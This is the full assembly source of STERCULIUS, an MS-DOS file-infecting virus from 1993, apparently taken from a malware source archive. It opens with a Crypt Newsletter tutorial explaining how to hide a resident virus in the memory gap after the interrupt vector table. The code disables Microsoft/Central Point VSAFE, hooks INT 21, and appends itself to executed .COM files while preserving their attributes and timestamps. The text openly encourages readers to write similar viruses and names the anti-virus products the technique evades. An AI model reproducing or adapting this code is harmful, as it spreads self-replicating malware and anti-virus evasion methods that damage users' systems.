MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.sterculi.asm

422 lines
12 KiB
NASM
Raw Normal View History

2021-01-12 23:58:25 +00:00
comment $
STERCULIUS virus: copying a virus into the air in the interrupt
vector table - for CRYPT NEWSLETTER 18.
The STERCULIUS virus uses the 'hole' in DOS's memory that is
found after the interrupt vector table located at 0000:0000 in memory.
This hole in memory is unused much of the time and is filled with
'00''s, or "air", starting at 0000:01E0.
Using the MS-DOS program DEBUG we can take a quick look at this
empty space by typing the command:
DEBUG
d 0000:01e0
And we see:
0000:01E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:01F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0200 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0210 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0220 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0230 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0240 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000:0250 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
Not much of anything!
The LoveChild virus uses the same space and if it were present
in memory (not likely, as it barely works under DOS 3.3),
you'd see something like "v2 LoveChild in reward for software
sealing [sic]" or some similar gibber in the above display.
Sterculius copies itself to segment:offset 0000:01E0 in memory,
right next to the end of the data in the interrupt vector table,
like LoveChild and if we fire up DEBUG again once the virus
is in memory:
0000:01E0 E8 0A 00 53 54 45 52 43-55 4C 49 55 53 5E 83 EE ...STERCULIUS^..
0000:01F0 03 56 FC 83 C6 55 90 BF-00 01 A5 A5 5E 33 C0 8E .V...U......^3..
0000:0200 C0 BF E0 01 26 81 7D 03-53 54 74 1E B9 08 01 90 ....&.}.STt.....
0000:0210 F3 A4 BE 84 00 8E D8 A5-A5 BF E0 01 83 C7 63 90 ..............c.
0000:0220 FA 89 7C FC 89 44 FE FB-0E 1F 0E 07 BE 00 01 56 ..|..D.........V
0000:0230 C3 E9 00 00 53 4D 5A 63-01 9C 2E FF 1E E8 02 C3 ....SMZc........
0000:0240 E9 A4 00 80 FC 4B 75 F8-50 53 51 52 1E 06 56 57 .....Ku.PSQR..VW
0000:0250 55 9C B8 00 43 E8 E1 FF-51 1E 52 33 C9 B8 01 43 U...C...Q.R3...C
Four!
Without the marker, "STERCULIUS," the virus would be difficult
for the user to see in memory for a couple of reasons:
1) Very few people actually know what system memory in the interrupt
table looks like normally,
2) It is not a place any of the current memory spies tell you to look for
viruses.
IF you scan up the rest of the table you will see the remainder of the
virus and about once again as much free space left.
That means you can fit about a 300+ byte virus into this space, plenty
of room for lots of extra code.
If you look again at the DEBUG dump you will see "MZ" -
that is DEBUG's EXEfile identifier - the first word Sterculius pulls off of
any executed program to check if it's a suitable candidate for infection.
Sterculius stores the word and in the case of DEBUG, lets the program pass by.
If a .COMfile had just been loaded, the original program's jump would
be occupying that space.
Clear?
Now you can follow this example to make memory resident viruses that occupy
that 'hole' in memory next to the interrupt vector table.
Viruses using this method of residence aren't detected by
98% of the anti-virus guards - or virus filters - specifically designed
to detect programs which go resident. This is odd, since the technique
isn't particularly new. However, one or two anti-virus manufacturers
have taken steps in this direction, coding their memory filters so
that some of their code occupies the same general area that a virus
like STERCULIUS might use. Then again, these developers have to
deal with users who may have memory management drivers which muck
about in the same space. You see, there are always trade-offs
in this kind of work.
Try STERCULIUS with Central Point, Microsoft Anti-virus, something dumb
like INVIRCBLE, or just about any TYPICAL resident monitor.
STERCULIUS also contains the "casual" anti-anti-virus measure, VSLAY,
which will under optimum conditions, deinstall the Microsoft Anti-virus
resident filter.
Interesting!
Many lazy people have grown fond of McAfee Associates PROVIEW, too.
It's good for checking up on viruses in memory because it puts a
big <UNKNOWN> message on the screen when a virus is taking up space at
the top of conventional RAM.
You won't see STERCULIUS using this technique, nor will a look at where
INT 21 is pointing under PROVIEW tell the dilettante much.
Proview will show you the interrupt is still pointing into the table, where
it belongs.
You'll have to look close to see that the original address has changed!
STERCULIUS has been tested under QEMM 7.0 and QEMM 6.0 but there is
always the probability that it will crash on other multi-tasking systems
which use other memory managers.
Often, you see, they use the space where STERCULIUS resides.
If this is the case, they system will hang when STERCULIUS invades it.
You can alter this behavior by looking at the interrupt vector table on your
system and altering where STERCULIUS copies itself into memory by moving
the virus up in RAM.
Also, this method of residency has an indirect benefit.
STERCULIUS can't be properly DEBUGGED by ZD86 because they conflict
over the same memory space.
STERCULIUS infects COMMAND.COM quite easily and doesn't interfere
with boot up. However, since COMMAND.COM overwrites the space
STERCULIUS is using at boot time, the virus is expunged from memory
on completion of system installation. Shelling anytime thereafter
reinstalls the virus. Reloading the transient portion of COMMAND.COM
doesn't interfere with the virus either.
$
;**************************************
; STERCULIUS VIRUS
;
; AUTHORS: K<>hntark / Urnst Kouch
; DATE: SEPTEMBER 1993
;
;**************************************
.model tiny
.code
org 100h
START:
db 0E9h,03,00,'S' ;Jump to Virus_Entry
FAKE_HOST:
int 20h ;host file terminate
VIRUS_ENTRY:
call INITIALIZE
ID: db 'STERCULIUS' ;The Roman god of feces
;intellectual property of Mike
INITIALIZE: ;Judge, sort of, and if this
pop si ;means nothing to you, then you're
sub si,3 ;not paying attention
;*****************
; Restore host
;*****************
push si
cld
add si,OFFSET HOST_STUB - OFFSET VIRUS_ENTRY
mov di,0100h
movsw
movsw
pop si
;***************************
; Remove MSAV / CPAV VSAFE ;<---VSLAY, Crypt Newsletter 15 [ref]
;***************************
mov dx,5945h
mov ax,0FA01h ;AL=01 very important!
int 21h
;***************************
; Check if already resident
;***************************
xor ax,ax
mov es,ax
mov di,01E0h
cmp WORD PTR es:[di + 3],'TS'
je EXIT
mov cx,ZIZE
rep movsb ;move virus to 0000:01E0 from ds:si
;***********************
; Mov INT 21 address
;***********************
mov si,21h * 4
mov ds,ax ;ds=0
movsw ;from ds:si to es:di
movsw
;***********************
; Hook INT 21
;***********************
mov di,01E0h
add di,OFFSET INT_21_HANDLER - OFFSET VIRUS_ENTRY
cli ;disable interrupts
mov WORD PTR [si - 4],di ;address of INT 21 handler
mov WORD PTR [si - 2],ax
sti ;enable interrupts
push cs
pop ds
EXIT: push cs
pop es
mov si,0100h
push si
;push 0100h ;386 code left out
ret ;return to host
;----------------------------------------------------------------------------
NEW_HOST_ENTRY:
db 0E9h,00,00,'S'
HOST_STUB:
db 090h,090h,090h,090h ;nops
INT_21:
pushf
call DWORD PTR cs:[REALL_INT_21]
ret
QUICK_EXIT: jmp QUICK_OUT
;----------------------------------------------------------------------------
INT_21_HANDLER:
cmp ah,4Bh ;execute a file?
jne QUICK_EXIT ;quick exit handler
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push bp
pushf
;***********************
; Save Attributes
;***********************
mov ax,4300h
call INT_21
jc SKIP
push cx ;save attributes to stack
push ds
push dx ;ds:dx = pathname to file
;***********************
; Klear Attributes
;***********************
xor cx,cx
mov ax,4301h
call INT_21
SKIP: jc RESTORE_ATTRIBUTES
;***********************
; Open File
;***********************
mov ax,3D02h
call INT_21
jc RESTORE_ATTRIBUTES
xchg bx,ax ;file handle to bx
;***********************
; Save Date & time
;***********************
mov ax,5700h
call INT_21
push dx ;save date
push cx ;save time
;***********************
; Read 4 bytes
;***********************
mov cx,04 ;# of bytes to read
mov dx,HOST_STUBB ;buffer to read 4 bytes to
mov si,dx
mov ah,3Fh
push cs
pop ds ;ds=cs
call INT_21 ;read to ds:dx
jc CLOSE_FILE
;***********************
; Check File
;***********************
cmp WORD PTR [si],'ZM' ;EXE file?
je CLOSE_FILE
cmp BYTE PTR [si + 3],'S' ;infected COM file?
je CLOSE_FILE
;***********************
; File PTR @EOF
;***********************
mov ax,4202h
xor cx,cx
cwd ;cx = dx = 00
call INT_21
sub ax,03 ;fix file size
xchg bp,ax ;address to jump to
add ax,ZIZE ;file + VIRUS SIZE > 64K?
jc CLOSE_FILE ;exit if so
;***********************
; Write Virus
;***********************
mov ah,40h
mov cx,ZIZE ;cx = #of bytes
mov dx,01E0h ;dx = write from here
call INT_21
;***********************
; Set PTR @BOF
;***********************
mov ax,4200h
xor cx,cx
cwd ;cx = dx = 00
call INT_21
;***********************
; Write new jump
;***********************
mov ah,40h
mov cx,4 ; # of bytes to write
mov dx,NEW_HOST_ENTRYY ;dx = write from here
mov si,dx
mov WORD PTR [si + 1],bp ;insert new address
call INT_21
CLOSE_FILE:
;***********************
; Restore Date & time
;***********************
pop cx ;restore time
pop dx ;restore date
mov ax,5701h
call INT_21
;***********************
; Klose File
;***********************
mov ah,3Eh
call INT_21
;***********************
; Restore Attributes
;***********************
RESTORE_ATTRIBUTES:
mov ax,4301h
pop dx ;ds:dx = pathname to file
pop ds ;restore pathname
pop cx ;restore old attributes
call INT_21
;***********************
; Restore registers
;***********************
EXIT_HANDLER:
popf
pop bp
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
QUICK_OUT: db 0EAh ; jmp OFFSET:SEGMENT
END_VIRUS:
REAL_INT_21:
ZIZE equ OFFSET END_VIRUS - VIRUS_ENTRY
REALL_INT_21 equ 01E0h + OFFSET REAL_INT_21 - OFFSET VIRUS_ENTRY
HOST_STUBB equ 01E0h + OFFSET HOST_STUB - OFFSET VIRUS_ENTRY
NEW_HOST_ENTRYY equ 01E0h + OFFSET NEW_HOST_ENTRY - OFFSET VIRUS_ENTRY
END START